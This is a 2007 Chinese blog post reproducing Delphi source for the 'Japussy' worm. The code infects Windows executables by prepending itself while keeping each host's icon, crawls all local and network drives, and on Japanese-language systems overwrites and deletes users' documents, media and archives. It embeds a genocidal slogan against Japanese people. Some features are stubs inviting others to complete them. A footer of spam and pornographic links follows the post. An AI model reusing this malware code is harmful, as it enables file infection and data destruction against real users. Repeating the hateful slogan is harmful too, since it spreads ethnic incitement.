<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    posts - 495,  comments - 11,  trackbacks - 0

    program japussy;
    uses
    windows, sysutils, classes, graphics, shellapi{, registry};
    const
    headersize = 82432;??????????????? //病毒體的大小
    iconoffset = $12eb8;????????????? //pe文件主圖標(biāo)的偏移量

    //在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
    //查找2800000020的十六進(jìn)制字符串可以找到主圖標(biāo)的偏移量
    ??
    {
    headersize = 38912;??????????????? //upx壓縮過病毒體的大小
    iconoffset = $92bc;??????????????? //upx壓縮過pe文件主圖標(biāo)的偏移量

    //upx 1.24w 用法: upx -9 --8086 japussy.exe
    }
    iconsize????? = $2e8;??????????????? //pe文件主圖標(biāo)的大小--744字節(jié)
    icontail????? = iconoffset + iconsize; //pe文件主圖標(biāo)的尾部
    id????????? = $44444444;??????????? //感染標(biāo)記

    //垃圾碼,以備寫入
    catchword = 'if a race need to be killed out, it must be yamato. ' +
    ?????????? 'if a country need to be destroyed, it must be japan! ' +
    ?????????? '*** w32.japussy.worm.a ***';
    {$r *.res}
    function registerserviceprocess(dwprocessid, dwtype: integer): integer;
    stdcall; external 'kernel32.dll'; //函數(shù)聲明
    var
    tmpfile: string;
    si:??????? startupinfo;
    pi:??????? process_information;
    isjap:????? boolean = false; //日文操作系統(tǒng)標(biāo)記
    { 判斷是否為win9x }
    function iswin9x: boolean;
    var
    ver: tosversioninfo;
    begin
    result := false;
    ver.dwosversioninfosize := sizeof(tosversioninfo);
    if not getversionex(ver) then
    ???? exit;
    if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
    ???? result := true;
    end;
    { 在流之間復(fù)制 }
    procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
    dstartpos: integer; count: integer);
    var
    scurpos, dcurpos: integer;
    begin
    scurpos := src.position;
    dcurpos := dst.position;
    src.seek(sstartpos, 0);
    dst.seek(dstartpos, 0);
    dst.copyfrom(src, count);
    src.seek(scurpos, 0);
    dst.seek(dcurpos, 0);
    end;
    { 將宿主文件從已感染的pe文件中分離出來,以備使用 }
    procedure extractfile(filename: string);
    var
    sstream, dstream: tfilestream;
    begin
    try
    ???? sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
    ???? try
    ?????? dstream := tfilestream.create(filename, fmcreate);
    ?????? try
    ?????? sstream.seek(headersize, 0); //跳過頭部的病毒部分
    ?????? dstream.copyfrom(sstream, sstream.size - headersize);
    ?????? finally
    ?????? dstream.free;
    ?????? end;
    ???? finally
    ?????? sstream.free;
    ???? end;
    except
    end;
    end;
    { 填充startupinfo結(jié)構(gòu) }
    procedure fillstartupinfo(var si: startupinfo; state: word);
    begin
    si.cb := sizeof(si);
    si.lpreserved := nil;
    si.lpdesktop := nil;
    si.lptitle := nil;
    si.dwflags := startf_useshowwindow;
    si.wshowwindow := state;
    si.cbreserved2 := 0;
    si.lpreserved2 := nil;
    end;
    { 發(fā)帶毒郵件 }
    procedure sendmail;
    begin
    //哪位仁兄愿意完成之?
    end;
    { 感染pe文件 }
    procedure infectonefile(filename: string);
    var
    hdrstream, srcstream: tfilestream;
    icostream, dststream: tmemorystream;
    iid: longint;
    aicon: ticon;
    infected, ispe: boolean;
    i: integer;
    buf: array[0..1] of char;
    begin
    try //出錯則文件正在被使用,退出
    ???? if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
    ?????? exit;
    ???? infected := false;
    ???? ispe????? := false;
    ???? srcstream := tfilestream.create(filename, fmopenread);
    ???? try
    ?????? for i := 0 to $108 do //檢查pe文件頭
    ?????? begin
    ?????? srcstream.seek(i, sofrombeginning);
    ?????? srcstream.read(buf, 2);
    ?????? if (buf[0] = #80) and (buf[1] = #69) then //pe標(biāo)記
    ?????? begin
    ???????? ispe := true; //是pe文件
    ???????? break;
    ?????? end;
    ?????? end;
    ?????? srcstream.seek(-4, sofromend); //檢查感染標(biāo)記
    ?????? srcstream.read(iid, 4);
    ?????? if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
    ?????? infected := true;
    ???? finally
    ?????? srcstream.free;
    ???? end;
    ???? if infected or (not ispe) then //如果感染過了或不是pe文件則退出
    ?????? exit;
    ???? icostream := tmemorystream.create;
    ???? dststream := tmemorystream.create;
    ???? try
    ?????? aicon := ticon.create;
    ?????? try
    ?????? //得到被感染文件的主圖標(biāo)(744字節(jié)),存入流
    ?????? aicon.releasehandle;
    ?????? aicon.handle := extracticon(hinstance, pchar(filename), 0);
    ?????? aicon.savetostream(icostream);
    ?????? finally
    ?????? aicon.free;
    ?????? end;
    ?????? srcstream := tfilestream.create(filename, fmopenread);
    ?????? //頭文件
    ?????? hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
    ?????? try
    ?????? //寫入病毒體主圖標(biāo)之前的數(shù)據(jù)
    ?????? copystream(hdrstream, 0, dststream, 0, iconoffset);
    ?????? //寫入目前程序的主圖標(biāo)
    ?????? copystream(icostream, 22, dststream, iconoffset, iconsize);
    ?????? //寫入病毒體主圖標(biāo)到病毒體尾部之間的數(shù)據(jù)
    ?????? copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
    ?????? //寫入宿主程序
    ?????? copystream(srcstream, 0, dststream, headersize, srcstream.size);
    ?????? //寫入已感染的標(biāo)記
    ?????? dststream.seek(0, 2);
    ?????? iid := $44444444;
    ?????? dststream.write(iid, 4);
    ?????? finally
    ?????? hdrstream.free;
    ?????? end;
    ???? finally
    ?????? srcstream.free;
    ?????? icostream.free;
    ?????? dststream.savetofile(filename); //替換宿主文件
    ?????? dststream.free;
    ???? end;
    except;
    end;
    end;
    { 將目標(biāo)文件寫入垃圾碼后刪除 }
    procedure smashfile(filename: string);
    var
    filehandle: integer;
    i, size, mass, max, len: integer;
    begin
    try
    ???? setfileattributes(pchar(filename), 0); //去掉只讀屬性
    ???? filehandle := fileopen(filename, fmopenwrite); //打開文件
    ???? try
    ?????? size := getfilesize(filehandle, nil); //文件大小
    ?????? i := 0;
    ?????? randomize;
    ?????? max := random(15); //寫入垃圾碼的隨機次數(shù)
    ?????? if max < 5 then
    ?????? max := 5;
    ?????? mass := size div max; //每個間隔塊的大小
    ?????? len := length(catchword);
    ?????? while i < max do
    ?????? begin
    ?????? fileseek(filehandle, i * mass, 0); //定位
    ?????? //寫入垃圾碼,將文件徹底破壞掉
    ?????? filewrite(filehandle, catchword, len);
    ?????? inc(i);
    ?????? end;
    ???? finally
    ?????? fileclose(filehandle); //關(guān)閉文件
    ???? end;
    ???? deletefile(pchar(filename)); //刪除之
    except
    end;
    end;
    { 獲得可寫的驅(qū)動器列表 }
    function getdrives: string;
    var
    disktype: word;
    d: char;
    str: string;
    i: integer;
    begin
    for i := 0 to 25 do //遍歷26個字母
    begin
    ???? d := chr(i + 65);
    ???? str := d + ':\';
    ???? disktype := getdrivetype(pchar(str));
    ???? //得到本地磁盤和網(wǎng)絡(luò)盤
    ???? if (disktype = drive_fixed) or (disktype = drive_remote) then
    ?????? result := result + d;
    end;
    end;
    { 遍歷目錄,感染和摧毀文件 }
    procedure loopfiles(path, mask: string);
    var
    i, count: integer;
    fn, ext: string;
    subdir: tstrings;
    searchrec: tsearchrec;
    msg: tmsg;
    function isvaliddir(searchrec: tsearchrec): integer;
    begin
    ???? if (searchrec.attr <> 16) and (searchrec.name <> '.') and
    ?????? (searchrec.name <> '..') then
    ?????? result := 0 //不是目錄
    ???? else if (searchrec.attr = 16) and (searchrec.name <> '.') and
    ?????? (searchrec.name <> '..') then
    ?????? result := 1 //不是根目錄
    ???? else result := 2; //是根目錄
    end;
    begin
    if (findfirst(path + mask, faanyfile, searchrec) = 0) then
    begin
    ???? repeat
    ?????? peekmessage(msg, 0, 0, 0, pm_remove); //調(diào)整消息隊列,避免引起懷疑
    ?????? if isvaliddir(searchrec) = 0 then
    ?????? begin
    ?????? fn := path + searchrec.name;
    ?????? ext := uppercase(extractfileext(fn));
    ?????? if (ext = '.exe') or (ext = '.scr') then
    ?????? begin
    ???????? infectonefile(fn); //感染可執(zhí)行文件?????
    ?????? end
    ?????? else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
    ?????? begin
    ???????? //感染html和asp文件,將base64編碼后的病毒寫入
    ???????? //感染瀏覽此網(wǎng)頁的所有用戶
    ???????? //哪位大兄弟愿意完成之?
    ?????? end
    ?????? else if ext = '.wab' then //outlook地址簿文件
    ?????? begin
    ???????? //獲取outlook郵件地址
    ?????? end
    ?????? else if ext = '.adc' then //foxmail地址自動完成文件
    ?????? begin
    ???????? //獲取foxmail郵件地址
    ?????? end
    ?????? else if ext = 'ind' then //foxmail地址簿文件
    ?????? begin
    ???????? //獲取foxmail郵件地址
    ?????? end
    ?????? else
    ?????? begin
    ???????? if isjap then //是倭文操作系統(tǒng)
    ???????? begin
    ?????????? if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
    ?????????? (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
    ?????????? (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
    ?????????? (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
    ?????????? (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
    ?????????? (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
    ???????????? smashfile(fn); //摧毀文件
    ???????? end;
    ?????? end;
    ?????? end;
    ?????? //感染或刪除一個文件后睡眠200毫秒,避免cpu占用率過高引起懷疑
    ?????? sleep(200);
    ???? until (findnext(searchrec) <> 0);
    end;
    findclose(searchrec);
    subdir := tstringlist.create;
    if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
    begin
    ???? repeat
    ?????? if isvaliddir(searchrec) = 1 then
    ?????? subdir.add(searchrec.name);
    ???? until (findnext(searchrec) <> 0);
    ???? end;
    findclose(searchrec);
    count := subdir.count - 1;
    for i := 0 to count do
    ???? loopfiles(path + subdir.strings + '\', mask);
    freeandnil(subdir);
    end;
    { 遍歷磁盤上所有的文件 }
    procedure infectfiles;
    var
    driverlist: string;
    i, len: integer;
    begin
    if getacp = 932 then //日文操作系統(tǒng)
    ???? isjap := true; //去死吧!
    driverlist := getdrives; //得到可寫的磁盤列表
    len := length(driverlist);
    while true do //死循環(huán)
    begin
    ???? for i := len downto 1 do //遍歷每個磁盤驅(qū)動器
    ?????? loopfiles(driverlist + ':\', '*.*'); //感染之
    ???? sendmail; //發(fā)帶毒郵件
    ???? sleep(1000 * 60 * 5); //睡眠5分鐘
    end;
    end;
    { 主程序開始 }
    begin
    if iswin9x then //是win9x
    ???? registerserviceprocess(getcurrentprocessid, 1) //注冊為服務(wù)進(jìn)程
    else //winnt
    begin
    ???? //遠(yuǎn)程線程映射到explorer進(jìn)程
    ???? //哪位兄臺愿意完成之?
    end;
    //如果是原始病毒體自己
    if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
    ???? infectfiles //感染和發(fā)郵件
    else //已寄生于宿主程序上了,開始工作
    begin
    ???? tmpfile := paramstr(0); //創(chuàng)建臨時文件
    ???? delete(tmpfile, length(tmpfile) - 4, 4);
    ???? tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
    ???? extractfile(tmpfile); //分離之
    ???? fillstartupinfo(si, sw_showdefault);
    ???? createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
    ?????? 0, nil, '.', si, pi); //創(chuàng)建新進(jìn)程運行之
    ???? infectfiles; //感染和發(fā)郵件
    end;
    end.

    (完)

    posted on 2007-05-18 20:32 jadmin 閱讀(63) 評論(0)  編輯  收藏

    只有注冊用戶登錄后才能發(fā)表評論。


    網(wǎng)站導(dǎo)航:
     
    主站蜘蛛池模板: 亚洲国产精品无码专区| 亚洲AV无码成人专区片在线观看 | 99爱免费观看视频在线| **aaaaa毛片免费同男同女| 又粗又黄又猛又爽大片免费| 亚洲欧美日韩国产成人| 青青草免费在线视频| 亚洲激情视频在线观看| 玖玖在线免费视频| 99久久亚洲综合精品成人网| 一个人看的免费视频www在线高清动漫| AV大片在线无码永久免费| 亚洲日韩国产精品无码av| 亚洲第一成年免费网站| 亚洲国产成人高清在线观看 | 无码国产精品一区二区免费模式| 日韩免费视频网站| 337p欧洲亚洲大胆艺术| 一个人看www免费高清字幕| 久久久久亚洲AV无码专区网站| 国产免费一级高清淫曰本片| 国产传媒在线观看视频免费观看| 美女的胸又黄又www网站免费| www.亚洲精品.com| 久爱免费观看在线网站| 亚洲国产成+人+综合| 91精品成人免费国产片| 日韩亚洲人成在线| 中文字幕无码不卡免费视频| 亚洲精品无码成人片久久不卡| 国产一区二区免费在线| 久久国产精品免费一区| 亚洲日产2021三区在线| 国产免费变态视频网址网站| 91视频免费观看高清观看完整| 亚洲精品成人a在线观看| 国产av无码专区亚洲av毛片搜 | 中文字幕亚洲无线码a| 一级毛片a女人刺激视频免费| 亚洲国产精品无码中文字| 免费无码AV电影在线观看|